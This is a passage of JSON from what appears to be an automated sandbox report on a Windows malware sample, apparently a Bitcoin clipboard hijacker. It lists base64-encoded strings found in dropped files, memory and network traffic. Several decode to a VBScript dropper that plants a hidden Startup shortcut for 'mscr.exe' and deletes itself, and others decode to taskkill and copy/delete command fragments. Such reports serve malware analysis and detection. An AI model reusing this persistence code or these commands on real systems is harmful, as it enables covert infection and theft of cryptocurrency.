File","process":null,"filename":"startup1295000.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4Mzg1MzU4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7171143.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4NDQ5ODA4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup5581901.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4NjQ1MDYxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2431673.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4NzI3NTQ4LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1198516.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4OTEyNjM0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2162145.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4OTgwNDAyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7087234.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoXCJXU2NyaXB0LlNoZWxsXCIp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c2V0X1VzZVNoZWxsRXhlY3V0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c3NsNTA5MDg0LmNsb3VkZmxhcmVzc2wuY29t","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"c3NsNTA5MDg0LmNsb3VkZmxhcmVzc2wuY29tMA==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"U3RyaW5nRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2Vz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dGFza2tpbGwgIC9mIC9pbSBtc2NyLmV4ZQ==","type":"Ansi","source":"Process Commandline","process":null,"filename":"taskkill.exe","compromised":null,"detection_total":null,"total":null},{"value":"VmFyRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VlNfVkVSU0lPTl9JTkZP","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"V19uZDB3c1Njcl9wdEgwXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"d19uZG9tc2NuXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null}],"targets":[{"name":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","strings":[{"value":"IVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLiQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IiImZXhpdCYiIiI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IiZzdGFydCAiIiAi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JGQ1N2ZhODc4LTYwMmYtNDEwYS04NDA4LTA2MzA4MzI1MzNiMw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ki5sbmsiJmV4aXQm","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ki5sbmtcIiZleGl0Jg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJmRlbCAi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJmRlbCBcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJm1rZGlyICI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJm1rZGlyIFwi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJnRhc2traWxsIC9mIC9pbSBtc2NyLmV4ZSZzdGFydCAiIiAi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJnRhc2traWxsIC9mIC9pbSBtc2NyLmV4ZSZzdGFydCBcIlwiIFwi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MURZSGRxQUpOOTNNUllLOFJMU0JkQUFuRTVVWGc1aGVpSg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pjxhc3NlbWJseSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjEiIG1hbmlmZXN0VmVyc2lvbj0iMS4wIj4gIDxhc3NlbWJseUlkZW50aXR5IHZlcnNpb249IjEuMC4wLjAiIG5hbWU9Ik15QXBwbGljYXRpb24uYXBwIi8+ICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MiI+ICAgIDxzZWN1cml0eT4gICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIvPiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4gICAgPC9zZWN1cml0eT4gIDwvdHJ1c3RJbmZvPjwvYXNzZW1ibHk+","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCBcIiZlY2hvLj4+Ig==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCBcbXNjci5leGUiJmV4aXQm","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCBcbXNjci5leGUiJnRpbWVvdXQgL3QgMSAvbm9icmVhaz5udWwmZGVsICI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCBcdXBkYXRlIDopIiZ0YXNra2lsbCAvZiAvaW0gbXNjci5leGUmY29weSAi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCImc3RhcnQgXCJcIiBcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCJcIiZleGl0JlwiXCJcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFwgXFxcIiZlY2hvLj4+XCI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFwgXFxtc2NyLmV4ZVwiJmV4aXQm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFwgXFxtc2NyLmV4ZVwiJnRpbWVvdXQgL3QgMSAvbm9icmVhaz5udWwmZGVsIFwi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFwgXFx1cGRhdGUgOilcIiZ0YXNra2lsbCAvZiAvaW0gbXNjci5leGUmY29weSBcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFxzdGFydHVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFx1cGRhdGUgOilcIiZlY2hvLj4+XCI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XHVwZGF0ZSA6KSImZWNoby4+PiI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"X0NvckV4ZU1haW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXBwbGljYXRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHkgVmVyc2lvbg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlDb21wYW55QXR0cmlidXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlQcm9kdWN0QXR0cmlidXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Qml0Y29pbi5leGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QlRDX0FERFJFU1M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QlRDX2RlZmF1bHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QlRDX3Nob3J0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JVVTRVJQUk9GSUxFJVxkb2N1bWVudHNcdmlzdWFsIHN0dWRpbyAyMDE3XFByb2plY3RzXEJpdGNvaW5cQml0Y29pblxvYmpcUmVsZWFzZVxCaXRjb2luLnBkYg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q2xpcGJvYXJk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Y2xpcGJvYXJk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFueU5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29tVmlzaWJsZUF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29weXJpZ2h0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29ycG9yYXRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRGlyZWN0b3J5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RGVidWdnYWJsZUF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RGVidWdnaW5nTW9kZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RGlyZWN0b3J5SW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RG93bmxvYWRGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RW51bWVyYWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RW52aXJvbm1lbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZUF0dHJpYnV0ZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZURlc2NyaXB0aW9u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZmluZENsb3NlQWRkcmVzcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X0RheU9mWWVhcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X0V4ZWN1dGFibGVQYXRo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X0xlbmd0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X0xvY2F0aW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X05ld0xpbmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X1N0YXJ0SW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X1RpY2tz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X1VzZXJEb21haW5OYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X1VzZXJOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0QWRkcmVzc0xpc3Q=","type":"Ansi","source":"Memory/File 